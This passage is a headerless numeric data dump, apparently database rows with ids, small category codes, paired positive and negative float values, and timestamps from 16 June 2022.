14:40:05.055556+00 +51638,3,13435,5.430312022,-5.430312022,2022-06-16 14:00:28.881401+00 +51639,4,13395,5.917126394,-5.917126394,2022-06-16 14:00:29.071688+00 +51649,6,13453,10.88171118,-10.88171118,2022-06-16 14:00:40.547591+00 +51655,6,13470,9.729699217,-9.729699217,2022-06-16 14:00:41.973267+00 +59455,6,14767,2.627941757,-2.627941757,2022-06-16 14:40:12.555427+00 +51677,1,13501,2.880310416,-2.880310416,2022-06-16 14:00:59.808715+00 +55693,3,14190,7.61682792,-7.61682792,2022-06-16 14:24:06.325025+00 +51683,1,13436,12.41333016,-12.41333016,2022-06-16 14:01:02.808615+00 +51684,1,13404,12.29804906,-12.29804906,2022-06-16 14:01:02.809835+00 +55694,3,14254,7.556991738,-7.556991738,2022-06-16 14:24:06.328864+00 +59478,6,14783,3.030892794,-3.030892794,2022-06-16 14:40:13.084048+00 +48581,4,12915,8.985580421,-8.985580421,2022-06-16 13:44:22.777853+00 +48582,4,12891,4.237828179,-4.237828179,2022-06-16 13:44:22.779274+00 +48583,4,12907,1.115133664,-1.115133664,2022-06-16 13:44:22.780087+00 +48584,4,12875,13.46112629,-13.46112629,2022-06-16 13:44:22.780824+00 +48599,7,12656,10.79299458,0,2022-06-16 13:44:30.304052+00 +59972,6,14763,1.815132817,-1.815132817,2022-06-16 14:42:11.424116+00 +60220,6,14768,1.556397249,0,2022-06-16 14:43:14.592155+00 +49301,3,13035,6.343301502,-6.343301502,2022-06-16 13:48:20.960835+00 +57288,3,14379,4.514108139,-4.514108139,2022-06-16 14:30:46.710933+00 +49754,1,13091,20.0161327,-20.0161327,2022-06-16 13:51:02.770054+00 +49755,1,13106,11.0970883,-11.0970883,2022-06-16 13:51:02.773612+00 +49756,1,13107,11.63240762,-11.63240762,2022-06-16 13:51:02.774518+00 +49757,1,13083,5.822012991,-5.822012991,2022-06-16 13:51:02.775377+00 +49758,1,13082,10.81898901,-10.81898901,2022-06-16 13:51:02.776179+00 +60639,6,14911,3.093990328,-3.093990328,2022-06-16 14:44:57.796203+00 +57860,2,14495,7.510529227,-7.510529227,2022-06-16 14:33:05.677801+00 +61215,6,14888,23.790336,-23.790336,2022-06-16 14:47:22.19062+00 +54227,4,13917,5.860794086,-5.860794086,2022-06-16 14:16:12.336794+00 +50485,6,13293,0.907661317,-0.907661317,2022-06-16 13:54:40.167259+00 +54228,4,13949,1.94541041,-1.94541041,2022-06-16 14:16:12.34028+00 +50535,1,13216,4.605486973,-4.605486973,2022-06-16 13:54:56.785292+00 +50536,1,13240,5.983879515,-5.983879515,2022-06-16 13:54:56.788386+00 +50537,1,13208,6.540893466,-6.540893466,2022-06-16 13:54:56.78923+00 +54229,4,13933,0.868676798,-0.868676798,2022-06-16 14:16:12.341194+00 +54230,4,13901,12.55560993,-12.55560993,2022-06-16 14:16:12.342106+00 +54231,4,13983,5.356672192,-5.356672192,2022-06-16 14:16:12.342944+00 +61316,7,14832,12.61947903,0,2022-06-16 14:47:39.243397+00 +50806,4,13366,10.50636931,-10.50636931,2022-06-16 13:56:22.683887+00 +50807,4,13299,8.84598911,-8.84598911,2022-06-16 13:56:22.68719+00 +50808,4,13291,1.007707877,-1.007707877,2022-06-16 13:56:22.688031+00 +50809,4,13259,13.68910189,-13.68910189,2022-06-16 13:56:22.688806+00 +50810,4,13275,4.167849971,-4.167849971,2022-06-16 13:56:22.689627+00 +50811,4,13307,0.928461623,-0.928461623,2022-06-16 13:56:22.69048+00 +58348,2,14590,2.262666949,-2.262666949,2022-06-16 14:35:06.045141+00 +50854,1,13297,5.447001513,-5.447001513,2022-06-16 13:56:26.755455+00 +50855,1,13312,0.961413816,-0.961413816,2022-06-16 13:56:26.756669+00 +50856,1,13273,5.00118419,-5.00118419,2022-06-16 13:56:26.757454+00 +50857,1,13296,0.460981,0,2022-06-16 13:56:26.758133+00 +50858,1,13289,4.938185944,-4.938185944,2022-06-16 13:56:26.758881+00 +50915,1,13342,5.691169494,-5.691169494,2022-06-16 13:56:41.763236+00 +50916,1,13374,1.820518698,-1.820518698,2022-06-16 13:56:41.764361+00 +50917,1,13358,2.334362118,-2.334362118,2022-06-16 13:56:41.765245+00 +61537,6,14997,5.038732898,-5.038732898,2022-06-16 14:48:27.130701+00 +51012,2,13289,11.69572039,-11.69572039,2022-06-16 13:57:06.016264+00 +58671,6,14639,2.832825059,-2.832825059,2022-06-16 14:36:32.571078+00 +54997,6,14110,9.125776045,-9.125776045,2022-06-16 14:21:00.895649+00 +58712,3,14571,4.247689532,-4.247689532,2022-06-16 14:36:50.233588+00 +58750,1,14584,7.06341054,-7.06341054,2022-06-16 14:37:00.031915+00 +51327,1,13399,14.66786961,-14.66786961,2022-06-16 13:58:47.802666+00 +51328,1,13423,2.517840109,-2.517840109,2022-06-16 13:58:47.805948+00 +51329,1,13414,17.0234655,-17.0234655,2022-06-16 13:58:47.806845+00 +55244,6,14165,5.640545582,-5.640545582,2022-06-16 14:22:09.43077+00 +51438,6,13376,4.073424454,-4.073424454,2022-06-16 13:59:21.403467+00 +55292,2,14125,2.547363309,0,2022-06-16 14:22:24.432231+00 +51488,4,13353,9.221667601,-9.221667601,2022-06-16 13:59:55.413944+00 +51497,3,13438,7.282131003,-7.282131003,2022-06-16 14:00:04.399556+00 +51498,3,13502,7.226926924,-7.226926924,2022-06-16 14:00:04.40409+00 +62304,2,15102,2.22938271,-2.22938271,2022-06-16 14:51:09.615749+00 +62361,2,15035,2.304593426,0,2022-06-16 14:51:14.60611+00 +59382,2,14618,11.15881349,-11.15881349,2022-06-16 14:40:05.179282+00 +51555,4,13486,2.11550785,-2.11550785,2022-06-16 14:00:08.142123+00 +51556,4,13502,1.630355978,-1.630355978,2022-06-16 14:00:08.146311+00 +59383,2,14641,9.867517175,-9.867517175,2022-06-16 14:40:05.182797+00 +51586,4,13418,5.034798982,-5.034798982,2022-06-16 14:00:17.319116+00 +51615,1,13416,14.47887125,-14.47887125,2022-06-16 14:00:23.761751+00 +59480,6,14782,3.007092879,-3.007092879,2022-06-16 14:40:13.114039+00 +55636,3,14206,7.180036412,-7.180036412,2022-06-16 14:24:04.084149+00 +51640,1,13495,11.3650681,-11.3650681,2022-06-16 14:00:32.783291+00 +51641,1,13462,13.44354259,-13.44354259,2022-06-16 14:00:32.787054+00 +55637,3,14270,7.12170332,-7.12170332,2022-06-16 14:24:04.087801+00 +59545,6,14720,2.600634685,-2.600634685,2022-06-16 14:40:24.571382+00 +59585,6,14733,10.24636054,-10.24636054,2022-06-16 14:40:34.758778+00 +48585,1,12904,14.83372982,-14.83372982,2022-06-16 13:44:23.745899+00 +48602,1,12913,5.851343358,-5.851343358,2022-06-16 13:44:32.745735+00 +48603,1,12889,5.313126247,-5.313126247,2022-06-16 13:44:32.747+00 +48604,1,12928,1.014142339,-1.014142339,2022-06-16 13:44:32.747794+00 +48605,1,12905,5.245635298,-5.245635298,2022-06-16 13:44:32.74858+00 +48898,6,13054,3.720823473,-3.720823473,2022-06-16 13:46:10.88496+00 +56449,2,14251,3.30821488,-3.30821488,2022-06-16 14:27:14.487148+00 +49303,6,13085,5.295852675,-5.295852675,2022-06-16 13:48:21.006791+00 +49326,1,13102,2.475580141,-2.475580141,2022-06-16 13:48:26.748702+00 +49327,1,13118,1.946987269,-1.946987269,2022-06-16 13:48:26.750074+00 +49328,1,13086,5.826998736,-5.826998736,2022-06-16 13:48:26.751412+00 +56667,6,14349,10.40307101,-10.40307101,2022-06-16 14:28:16.235371+00 +60464,6,14910,2.990592726,-2.990592726,2022-06-16 14:44:10.511718+00 +49760,6,13150,9.834533266,-9.834533266,2022-06-16 13:51:03.990188+00 +49923,6,13168,2.035945964,0,2022-06-16 13:52:04.865041+00 +50043,3,13179,5.764469038,-5.764469038,2022-06-16 13:52:24.082568+00 +53755,1,13788,11.63587143,-11.63587143,2022-06-16 14:13:02.868337+00 +53756,1,13786,9.933096887,-9.933096887,2022-06-16 14:13:02.871763+00 +53757,1,13811,11.0055633,-11.0055633,2022-06-16 14:13:02.872596+00 +50300,4,13145,9.65530045,-9.65530045,2022-06-16 13:53:50.329294+00 +50301,4,13169,10.34261673,-10.34261673,2022-06-16 13:53:50.332765+00 +50323,4,13161,9.52561991,-9.52561991,2022-06-16 13:53:57.217105+00 +53758,1,13787,5.600570993,-5.600570993,2022-06-16 14:13:02.873671+00 +50427,2,13229,3.458949888,-3.458949888,2022-06-16 13:54:24.439692+00 +50474,4,13203,5.995327481,-5.995327481,2022-06-16 13:54:34.018764+00 +50486,1,13235,11.54528003,-11.54528003,2022-06-16 13:54:41.784932+00 +50487,1,13219,19.92355862,-19.92355862,2022-06-16 13:54:41.788214+00 +50488,1,13248,0.980946072,-0.980946072,2022-06-16 13:54:41.789029+00 +50489,1,13210,10.60214305,-10.60214305,2022-06-16 13:54:41.789854+00 +50490,1,13234,10.88568228,-10.88568228,2022-06-16 13:54:41.790629+00 +50491,1,13232,0.463761723,0,2022-06-16 13:54:41.791366+00 +50492,1,13211,5.759407076,-5.759407076,2022-06-16 13:54:41.792194+00 +50493,1,13226,2.866115652,-2.866115652,2022-06-16 13:54:41.792847+00 +50509,1,13278,5.750195493,-5.750195493,2022-06-16 13:54:50.760603+00 +50510,1,13294,2.378333721,-2.378333721,2022-06-16 13:54:50.761762+00 +57729,6,14443,2.045757598,-2.045757598,2022-06-16 14:32:40.246122+00 +50577,2,13295,3.206404815,-3.206404815,2022-06-16 13:55:05.721036+00 +54011,3,13867,5.222499283,-5.222499283,2022-06-16 14:14:36.459672+00 +54076,4,13856,5.522932145,-5.522932145,2022-06-16 14:15:05.677828+00 +50646,2,13227,4.203100551,-4.203100551,2022-06-16 13:55:14.623925+00 +61216,7,14896,12.77954935,0,2022-06-16 14:47:22.661711+00 +50812,1,13373,2.923106689,-2.923106689,2022-06-16 13:56:23.782578+00 +50813,1,13341,9.133179471,-9.133179471,2022-06-16 13:56:23.785924+00 +50814,1,13357,1.818727391,-1.818727391,2022-06-16 13:56:23.786835+00 +50815,1,13288,14.56083298,-14.56083298,2022-06-16 13:56:23.787659+00 +54359,2,13982,7.19817406,-7.19817406,2022-06-16 14:17:05.377573+00 +50878,6,13375,3.544966986,-3.544966986,2022-06-16 13:56:28.153375+00 +54410,1,13983,6.281708956,-6.281708956,2022-06-16 14:17:11.870771+00 +50925,1,13304,5.937544442,-5.937544442,2022-06-16 13:56:50.771166+00 +50926,1,13272,6.511880615,-6.511880615,2022-06-16 13:56:50.772435+00 +50933,1,13280,4.562485602,-4.562485602,2022-06-16 13:56:59.758202+00 +50934,1,13359,2.698311887,-2.698311887,2022-06-16 13:56:59.759376+00 +54452,4,13913,8.408968422,-8.408968422,2022-06-16 14:17:44.285805+00 +54453,4,13937,9.025193614,-9.025193614,2022-06-16 14:17:44.289354+00 +54496,3,13998,8.422614914,-8.422614914,2022-06-16 14:18:06.230653+00 +58027,3,14527,6.737434805,-6.737434805,2022-06-16 14:34:04.674383+00 +54548,6,14011,2.100997791,-2.100997791,2022-06-16 14:18:14.549493+00 +54583,4,13971,5.581029042,-5.581029042,2022-06-16 14:18:30.079189+00 +54670,2,14063,2.819396324,-2.819396324,2022-06-16 14:19:05.362341+00 +61539,6,15005,4.085427972,-4.085427972,2022-06-16 14:48:29.126566+00 +51281,3,13355,5.899073301,-5.899073301,2022-06-16 13:58:27.00782+00 +61648,1,14944,3.877820595,-3.877820595,2022-06-16 14:48:57.165039+00 +51330,1,13407,6.876416777,-6.876416777,2022-06-16 13:58:50.790122+00 +61699,2,15022,1.512766402,-1.512766402,2022-06-16 14:49:05.771054+00 +51364,2,13406,7.46789187,-7.46789187,2022-06-16 13:59:05.170934+00 +54954,6,14093,10.54829083,-10.54829083,2022-06-16 14:20:31.91296+00 +51381,2,13423,3.179696487,-3.179696487,2022-06-16 13:59:05.573616+00 +55034,3,14034,22.53693523,-22.53693523,2022-06-16 14:21:04.772728+00 +51413,2,13371,3.817338413,-3.817338413,2022-06-16 13:59:14.629471+00 +51446,4,13152,5.723696794,-5.723696794,2022-06-16 13:59:28.94171+00 +55346,3,14123,4.872158308,-4.872158308,2022-06-16 14:22:41.401277+00 +55391,1,14173,8.66616095,-8.66616095,2022-06-16 14:22:59.927368+00 +55392,1,14205,3.089771756,-3.089771756,2022-06-16 14:22:59.930793+00 +51605,6,13502,3.350366269,-3.350366269,2022-06-16 14:00:18.320596+00 +51628,3,13419,5.827545858,-5.827545858,2022-06-16 14:00:28.231099+00 +51642,1,13463,14.56287351,-14.56287351,2022-06-16 14:00:35.787929+00 +51643,1,13478,16.91196805,-16.91196805,2022-06-16 14:00:35.791238+00 +51644,1,13487,2.442719572,-2.442719572,2022-06-16 14:00:35.792059+00 +55490,2,14128,1.909373284,0,2022-06-16 14:23:05.147431+00 +48899,4,12941,13.26366332,-13.26366332,2022-06-16 13:46:12.06848+00 +48900,4,13046,10.65008272,-10.65008272,2022-06-16 13:46:12.071857+00 +48901,4,12989,2.009998777,-2.009998777,2022-06-16 13:46:12.072783+00 +48902,4,12957,6.728326956,-6.728326956,2022-06-16 13:46:12.07358+00 +48590,2,12909,3.642328575,-3.642328575,2022-06-16 13:44:24.412736+00 +48903,4,13015,12.96677139,-12.96677139,2022-06-16 13:46:12.074576+00 +48904,4,13014,13.48085616,-13.48085616,2022-06-16 13:46:12.075652+00 +48905,4,13039,2.21528096,-2.21528096,2022-06-16 13:46:12.076592+00 +48906,4,13055,1.686605023,-1.686605023,2022-06-16 13:46:12.077325+00 +48907,4,13023,5.788798831,-5.788798831,2022-06-16 13:46:12.078132+00 +63991,2,15262,6.44517468,-6.44517468,2022-06-16 14:57:06.205635+00 +52762,3,13627,5.157409144,-5.157409144,2022-06-16 14:06:32.427999+00 +56668,4,14314,4.005469022,-4.005469022,2022-06-16 14:28:17.229692+00 +49392,6,13119,3.711536482,-3.711536482,2022-06-16 13:48:50.288517+00 +49471,2,13035,4.338314865,-4.338314865,2022-06-16 13:49:14.479665+00 +53042,3,13678,8.590526379,-8.590526379,2022-06-16 14:08:06.84287+00 +49679,2,13101,3.529706338,-3.529706338,2022-06-16 13:50:24.456829+00 +49821,2,13183,2.523039437,-2.523039437,2022-06-16 13:51:05.9597+00 +53157,6,13743,4.149245661,-4.149245661,2022-06-16 14:08:45.912057+00 +60466,4,14894,1.088085106,-1.088085106,2022-06-16 14:44:10.823546+00 +57106,1,14446,1.424348535,-1.424348535,2022-06-16 14:30:09.01636+00 +57107,1,14462,1.516853545,-1.516853545,2022-06-16 14:30:09.021505+00 +53376,1,13781,10.55236476,-10.55236476,2022-06-16 14:10:14.845315+00 +53377,1,13740,12.14915275,-12.14915275,2022-06-16 14:10:14.848646+00 +50219,2,13163,4.240743578,-4.240743578,2022-06-16 13:53:14.540723+00 +53378,1,13737,4.605419626,-4.605419626,2022-06-16 14:10:14.849509+00 +53379,1,13756,11.83788562,-11.83788562,2022-06-16 14:10:14.850345+00 +53380,1,13745,5.065006329,-5.065006329,2022-06-16 14:10:14.851155+00 +53381,1,13721,4.65198362,-4.65198362,2022-06-16 14:10:14.851924+00 +57108,1,14447,1.669452663,-1.669452663,2022-06-16 14:30:09.022847+00 +53470,2,13760,3.528484398,-3.528484398,2022-06-16 14:11:05.226262+00 +50495,6,13309,1.478723793,-1.478723793,2022-06-16 13:54:42.276506+00 +53471,2,13721,10.87906854,-10.87906854,2022-06-16 14:11:05.229624+00 +53472,2,13722,10.9123233,-10.9123233,2022-06-16 14:11:05.230469+00 +53473,2,13738,2.786199353,-2.786199353,2022-06-16 14:11:05.231229+00 +53474,2,13745,11.59216514,-11.59216514,2022-06-16 14:11:05.231971+00 +53475,2,13746,11.17543154,-11.17543154,2022-06-16 14:11:05.232707+00 +57136,4,14378,3.902730739,-3.902730739,2022-06-16 14:30:17.227073+00 +60467,4,14878,4.69259514,-4.69259514,2022-06-16 14:44:10.826594+00 +60468,4,14910,1.494197566,-1.494197566,2022-06-16 14:44:10.827446+00 +53679,6,13869,0.72071665,-0.72071665,2022-06-16 14:12:15.476774+00 +50843,6,13358,4.348070772,-4.348070772,2022-06-16 13:56:26.401174+00 +53708,7,13738,4.55774883,-4.55774883,2022-06-16 14:12:34.959893+00 +60469,4,14832,0.628986593,0,2022-06-16 14:44:10.828204+00 +60572,6,14909,1.342376159,-1.342376159,2022-06-16 14:44:39.458864+00 +54012,6,13949,1.530898121,-1.530898121,2022-06-16 14:14:36.47164+00 +54077,2,13935,2.890580421,-2.890580421,2022-06-16 14:15:05.703249+00 +54288,3,13947,4.714353792,-4.714353792,2022-06-16 14:16:38.226511+00 +54411,4,13880,8.148813374,-8.148813374,2022-06-16 14:17:12.384942+00 +54454,4,13929,8.298272342,-8.298272342,2022-06-16 14:17:50.161694+00 +51331,4,13208,8.020509629,-8.020509629,2022-06-16 13:58:53.878993+00 +61150,2,14896,1.896676766,0,2022-06-16 14:47:05.217617+00 +54552,6,14037,5.711567068,-5.711567068,2022-06-16 14:18:17.938428+00 +54571,1,14003,10.86847202,-10.86847202,2022-06-16 14:18:26.875831+00 +54572,1,13995,1.137712838,-1.137712838,2022-06-16 14:18:26.877219+00 +54573,1,14011,1.03481302,-1.03481302,2022-06-16 14:18:26.878163+00 +54574,1,13979,5.549576378,-5.549576378,2022-06-16 14:18:26.87904+00 +58137,1,14558,4.827617927,-4.827617927,2022-06-16 14:34:15.056505+00 +51471,4,13216,5.709564261,-5.709564261,2022-06-16 13:59:36.510777+00 +58138,1,14574,1.316104092,-1.316104092,2022-06-16 14:34:15.059756+00 +58139,1,14590,1.520734649,-1.520734649,2022-06-16 14:34:15.060637+00 +51501,3,13439,6.404049047,-6.404049047,2022-06-16 14:00:04.470928+00 +51502,3,13503,6.360521194,-6.360521194,2022-06-16 14:00:04.474761+00 +54801,4,13984,5.473419004,-5.473419004,2022-06-16 14:20:03.296015+00 +54885,4,14126,1.689382617,-1.689382617,2022-06-16 14:20:09.969407+00 +54886,4,14142,1.517229031,-1.517229031,2022-06-16 14:20:09.970708+00 +54887,4,14110,4.988530403,-4.988530403,2022-06-16 14:20:09.971522+00 +54888,4,14080,1.149183242,-1.149183242,2022-06-16 14:20:09.972263+00 +54889,4,14111,5.254659198,-5.254659198,2022-06-16 14:20:09.973016+00 +54890,4,14127,1.730438906,-1.730438906,2022-06-16 14:20:09.97377+00 +51558,6,13501,1.448445922,-1.448445922,2022-06-16 14:00:08.470449+00 +54891,4,14143,1.290282119,-1.290282119,2022-06-16 14:20:09.974422+00 +58220,1,14559,5.924246093,-5.924246093,2022-06-16 14:34:36.057477+00 +51598,6,13486,4.281453382,-4.281453382,2022-06-16 14:00:18.082798+00 +54955,1,14064,0.449796612,0,2022-06-16 14:20:35.952734+00 +51609,1,13502,1.659529056,-1.659529056,2022-06-16 14:00:20.78287+00 +51610,1,13470,5.408305795,-5.408305795,2022-06-16 14:00:20.786272+00 +51611,1,13486,2.14933376,-2.14933376,2022-06-16 14:00:20.787154+00 +51612,1,13408,4.512503882,-4.512503882,2022-06-16 14:00:20.787949+00 +51620,2,13421,3.32437656,-3.32437656,2022-06-16 14:00:24.429138+00 +54956,1,14080,0.841580235,-0.841580235,2022-06-16 14:20:35.956272+00 +54957,1,14048,4.150399355,-4.150399355,2022-06-16 14:20:35.95723+00 +51645,1,13503,1.867423549,-1.867423549,2022-06-16 14:00:38.78764+00 +51646,1,13471,6.820500289,-6.820500289,2022-06-16 14:00:38.79099+00 +54958,1,14040,6.192106842,-6.192106842,2022-06-16 14:20:35.9581+00 +54982,6,14064,1.787574952,0,2022-06-16 14:20:44.934559+00 +61461,3,14959,5.130533176,-5.130533176,2022-06-16 14:48:06.029791+00 +55100,2,14059,3.487529505,-3.487529505,2022-06-16 14:21:14.429509+00 +58531,3,14591,6.670332794,-6.670332794,2022-06-16 14:36:04.237918+00 +61540,1,15007,5.687466649,-5.687466649,2022-06-16 14:48:30.169249+00 +55246,6,14173,4.589506553,-4.589506553,2022-06-16 14:22:11.506257+00 +58761,2,14592,3.166312351,-3.166312351,2022-06-16 14:37:05.270262+00 +55297,1,14104,6.204688954,-6.204688954,2022-06-16 14:22:26.928791+00 +55298,1,14136,6.629025165,-6.629025165,2022-06-16 14:22:26.930288+00 +55299,1,14144,0.834223614,-0.834223614,2022-06-16 14:22:26.931184+00 +55300,1,14128,0.450447906,0,2022-06-16 14:22:26.932019+00 +55301,1,14112,4.136241318,-4.136241318,2022-06-16 14:22:26.932905+00 +48592,6,12973,1.026095402,-1.026095402,2022-06-16 13:44:25.999908+00 +49028,2,13022,7.521328305,-7.521328305,2022-06-16 13:47:05.273456+00 +52768,1,13596,11.91322943,-11.91322943,2022-06-16 14:06:32.815403+00 +52774,1,13632,0.897267876,-0.897267876,2022-06-16 14:06:35.812413+00 +53044,3,13743,7.854522517,-7.854522517,2022-06-16 14:08:06.877105+00 +64466,6,15341,0.505958699,0,2022-06-16 14:58:36.095543+00 +49599,4,13104,0.600706769,0,2022-06-16 13:50:09.888422+00 +49600,4,13120,1.264104888,-1.264104888,2022-06-16 13:50:09.892504+00 +49634,4,13143,12.88836929,-12.88836929,2022-06-16 13:50:21.488017+00 +49674,4,13107,8.910930214,-8.910930214,2022-06-16 13:50:23.316365+00 +49680,4,13099,1.058522106,-1.058522106,2022-06-16 13:50:26.053477+00 +49681,4,13115,0.999353927,-0.999353927,2022-06-16 13:50:26.05717+00 +49682,4,13083,4.21452542,-4.21452542,2022-06-16 13:50:26.058203+00 +49683,4,13067,13.57244279,-13.57244279,2022-06-16 13:50:26.059153+00 +64496,1,15341,1.178366167,0,2022-06-16 14:58:45.194758+00 +64497,1,15325,8.006041648,-8.006041648,2022-06-16 14:58:45.196069+00 +57109,4,14400,1.088291397,-1.088291397,2022-06-16 14:30:09.556769+00 +53382,4,13738,4.673298995,-4.673298995,2022-06-16 14:10:15.827287+00 +57110,4,14384,0.614418261,0,2022-06-16 14:30:09.560033+00 +64498,1,15281,4.049985285,-4.049985285,2022-06-16 14:58:45.196904+00 +64499,1,15273,3.674476615,-3.674476615,2022-06-16 14:58:45.197644+00 +64500,1,15257,3.724755219,-3.724755219,2022-06-16 14:58:45.198402+00 +53681,6,13885,1.547867072,-1.547867072,2022-06-16 14:12:17.447758+00 +57370,2,14462,2.2557288,-2.2557288,2022-06-16 14:31:06.032214+00 +64501,1,15357,2.852151726,-2.852151726,2022-06-16 14:58:45.199163+00 +64536,7,15342,10.86103259,0,2022-06-16 14:58:49.089156+00 +57505,6,14352,26.56506518,-26.56506518,2022-06-16 14:31:48.52471+00 +57518,7,14446,16.21417167,-16.21417167,2022-06-16 14:31:56.595384+00 +64577,2,15280,1.881586097,0,2022-06-16 14:59:05.589114+00 +54289,1,13929,4.470920937,-4.470920937,2022-06-16 14:16:38.896519+00 +54290,1,13916,11.49893293,-11.49893293,2022-06-16 14:16:38.8997+00 +54291,1,13939,10.91167404,-10.91167404,2022-06-16 14:16:38.900578+00 +54292,1,13932,11.85083901,-11.85083901,2022-06-16 14:16:38.901403+00 +54293,1,13913,4.519894918,-4.519894918,2022-06-16 14:16:38.902299+00 +54294,1,13937,4.912190732,-4.912190732,2022-06-16 14:16:38.903091+00 +54295,1,13915,5.577155134,-5.577155134,2022-06-16 14:16:38.903896+00 +50845,3,13307,5.60032089,-5.60032089,2022-06-16 13:56:26.430912+00 +54296,1,13948,11.54467593,-11.54467593,2022-06-16 14:16:38.904599+00 +50883,4,13267,5.973149353,-5.973149353,2022-06-16 13:56:29.607701+00 +50913,1,13267,7.997227629,-7.997227629,2022-06-16 13:56:38.756462+00 +57797,1,14264,6.98424946,-6.98424946,2022-06-16 14:32:57.015489+00 +57864,2,14510,2.045510637,-2.045510637,2022-06-16 14:33:05.769013+00 +50987,2,13358,3.130527025,-3.130527025,2022-06-16 13:57:05.476778+00 +54718,2,14011,3.240437174,-3.240437174,2022-06-16 14:19:14.532444+00 +58140,4,14575,1.286488139,-1.286488139,2022-06-16 14:34:15.365225+00 +54802,6,13791,10.46395018,-10.46395018,2022-06-16 14:20:03.30403+00 +54803,6,13855,10.41726793,-10.41726793,2022-06-16 14:20:03.309972+00 +51252,6,13371,2.440456953,-2.440456953,2022-06-16 13:58:21.702676+00 +54804,6,13919,10.37088034,-10.37088034,2022-06-16 14:20:03.311592+00 +54805,6,13983,10.32478541,-10.32478541,2022-06-16 14:20:03.312603+00 +54806,6,14047,10.27898115,-10.27898115,2022-06-16 14:20:03.315629+00 +51332,1,13415,18.71868497,-18.71868497,2022-06-16 13:58:56.791479+00 +58141,4,14591,1.403782497,-1.403782497,2022-06-16 14:34:15.368633+00 +58142,4,14559,5.024144757,-5.024144757,2022-06-16 14:34:15.369509+00 +58143,4,14493,5.410060639,-5.410060639,2022-06-16 14:34:15.370351+00 +58144,4,14509,0.68002839,0,2022-06-16 14:34:15.371188+00 +58145,4,14477,12.1932594,-12.1932594,2022-06-16 14:34:15.371972+00 +58146,4,14525,1.781234618,-1.781234618,2022-06-16 14:34:15.372773+00 +61602,6,15038,2.908918387,-2.908918387,2022-06-16 14:48:45.171598+00 +55247,1,14107,5.530126938,-5.530126938,2022-06-16 14:22:11.923502+00 +55248,1,14099,7.582095279,-7.582095279,2022-06-16 14:22:11.926923+00 +55249,1,14131,10.74087874,-10.74087874,2022-06-16 14:22:11.927881+00 +55296,6,14048,12.26096761,-12.26096761,2022-06-16 14:22:24.877217+00 +51545,6,13485,0.860448865,-0.860448865,2022-06-16 14:00:06.211301+00 +51559,1,13401,4.902612837,-4.902612837,2022-06-16 14:00:08.760929+00 +51560,1,13461,11.16167651,-11.16167651,2022-06-16 14:00:08.76452+00 +51561,1,13425,5.330036324,-5.330036324,2022-06-16 14:00:08.76541+00 +51562,1,13417,4.836850925,-4.836850925,2022-06-16 14:00:08.766167+00 +58626,4,14579,7.707040815,-7.707040815,2022-06-16 14:36:21.362652+00 +58627,4,14587,0.517194423,-0.517194423,2022-06-16 14:36:21.366078+00 +51589,1,13411,19.73616487,-19.73616487,2022-06-16 14:00:17.75903+00 +51590,1,13395,7.86318643,-7.86318643,2022-06-16 14:00:17.760186+00 +58628,4,14539,13.31531863,-13.31531863,2022-06-16 14:36:21.367095+00 +55413,6,14175,10.10518608,-10.10518608,2022-06-16 14:23:01.846789+00 +51613,4,13419,0.968909725,-0.968909725,2022-06-16 14:00:21.643067+00 +51614,4,13403,4.157339824,-4.157339824,2022-06-16 14:00:21.646447+00 +51621,1,13432,5.84433213,-5.84433213,2022-06-16 14:00:26.763994+00 +51622,1,13400,6.416936369,-6.416936369,2022-06-16 14:00:26.765142+00 +51623,1,13494,10.72555952,-10.72555952,2022-06-16 14:00:26.765823+00 +58629,4,14555,3.786357176,-3.786357176,2022-06-16 14:36:21.368077+00 +58630,4,14571,0.60627753,-0.60627753,2022-06-16 14:36:21.369008+00 +51647,3,13165,4.329655352,-4.329655352,2022-06-16 14:00:39.625365+00 +51669,6,13461,6.460169994,-6.460169994,2022-06-16 14:00:45.602592+00 +51672,1,13479,18.59572818,-18.59572818,2022-06-16 14:00:47.760861+00 +55591,4,14121,8.053977253,-8.053977253,2022-06-16 14:23:43.333564+00 +51691,6,13151,11.20508944,-11.20508944,2022-06-16 14:01:03.703517+00 +51692,6,13215,11.15386661,-11.15386661,2022-06-16 14:01:03.707168+00 +51693,6,13279,11.1029675,-11.1029675,2022-06-16 14:01:03.707983+00 +51694,6,13343,11.05239007,-11.05239007,2022-06-16 14:01:03.708821+00 +51695,6,13407,11.00213227,-11.00213227,2022-06-16 14:01:03.70959+00 +51696,6,13471,10.95219203,-10.95219203,2022-06-16 14:01:03.710363+00 +55592,4,14129,8.734956698,-8.734956698,2022-06-16 14:23:43.336935+00 +56453,2,14267,2.978187007,-2.978187007,2022-06-16 14:27:14.574924+00 +48594,6,12989,1.555934944,-1.555934944,2022-06-16 13:44:27.856839+00 +48595,1,12957,9.373314601,-9.373314601,2022-06-16 13:44:29.774113+00 +48596,1,12973,2.013158191,-2.013158191,2022-06-16 13:44:29.77741+00 +48597,1,12989,3.005384067,-3.005384067,2022-06-16 13:44:29.778248+00 +48601,7,12784,10.71046455,0,2022-06-16 13:44:30.332944+00 +48606,1,12912,0.478199327,0,2022-06-16 13:44:35.77015+00 +48607,3,12653,4.751684984,-4.751684984,2022-06-16 13:44:37.690809+00 +48608,1,12906,3.206617457,-3.206617457,2022-06-16 13:44:38.770748+00 +48609,1,12914,11.272309,-11.272309,2022-06-16 13:44:38.774013+00 +48610,1,12891,5.953303202,-5.953303202,2022-06-16 13:44:38.774866+00 +48611,1,12890,10.92219422,-10.92219422,2022-06-16 13:44:38.775664+00 +48612,1,12907,1.637089299,-1.637089299,2022-06-16 13:44:38.776444+00 +48613,1,12899,20.11961654,-20.11961654,2022-06-16 13:44:38.777184+00 +48614,1,12923,1.522826224,-1.522826224,2022-06-16 13:44:38.777948+00 +48615,1,12915,11.78071122,-11.78071122,2022-06-16 13:44:38.778579+00 +48616,6,12778,5.79611453,-5.79611453,2022-06-16 13:44:39.285007+00 +48617,1,12883,8.46578102,-8.46578102,2022-06-16 13:44:41.770058+00 +48618,1,12958,5.922073511,-5.922073511,2022-06-16 13:44:44.771599+00 +48619,1,12896,4.77763819,-4.77763819,2022-06-16 13:44:44.774948+00 +48620,1,12920,6.159217111,-6.159217111,2022-06-16 13:44:50.773672+00 +48621,1,12888,6.774790761,-6.774790761,2022-06-16 13:44:50.777083+00 +48622,7,12906,5.555474024,-5.555474024,2022-06-16 13:44:51.311388+00 +56670,6,14357,5.473054093,-5.473054093,2022-06-16 14:28:21.236862+00 +56785,2,14320,1.915677553,0,2022-06-16 14:29:06.682689+00 +48627,6,12842,5.752387322,-5.752387322,2022-06-16 13:44:53.446494+00 +48628,6,12958,10.00667747,-10.00667747,2022-06-16 13:44:53.476978+00 